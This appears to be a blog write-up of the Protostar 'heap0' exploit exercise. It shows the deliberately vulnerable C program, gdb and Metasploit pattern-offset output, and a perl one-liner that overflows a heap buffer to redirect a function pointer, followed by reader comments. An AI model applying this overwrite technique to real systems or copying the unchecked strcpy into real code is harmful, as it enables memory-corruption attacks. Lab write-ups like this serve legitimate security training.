#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
I first needed to find the offset to where I could overwrite the EIP, so I connected to my other machine with the Metasploit Framework installed, and generated a unique string.
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 250 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2AI then used this string as the input to the heap0 executable.
user@protostar:/opt/protostar/bin$ gdb ./heap0 --quiet
Reading symbols from /home/user/heap0...done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Starting program: /home/user/heap0 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
data is at 0x804a008, fp is at 0x804a050
Program received signal SIGSEGV, Segmentation fault.
0x41346341 in ?? ()
(gdb) print winner
$1 = {void (void)} 0x8048464
Notice that we see the EIP is 0x41346341. Additionally while I was debugging, I also got the address of the "winner" function, since I will want to redirect to that later. It was at 0x08048464.
I then connected to my Metasploit Framework enabled machine to calculate the offset.
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x41346341 72I then simply used perl to create an argument for the heap0 executable with 72 "A"s for spacing, and passing the address of the "winner" function in little-endian format to it. It then succeeded.
user@protostar:/opt/protostar/bin$ ./heap0 `perl -e 'print "A"x72 . "\x64\x84\x04\x08"'` data is at 0x804a008, fp is at 0x804a050 level passed
Nice write ups on exploit exercises!
ReplyDeleteRegarding this one - isn't that safe to assume that offset can be counted using data provided by program itself? E.g.:
data is at 0x804a008, fp is at 0x804a050
(gdb) p 0x804a050 - 0x804a008
$1 = 72
Yes, it is. I just showed another way to get it. Sometimes it's not as simple as this example.
DeleteAnd thanks :)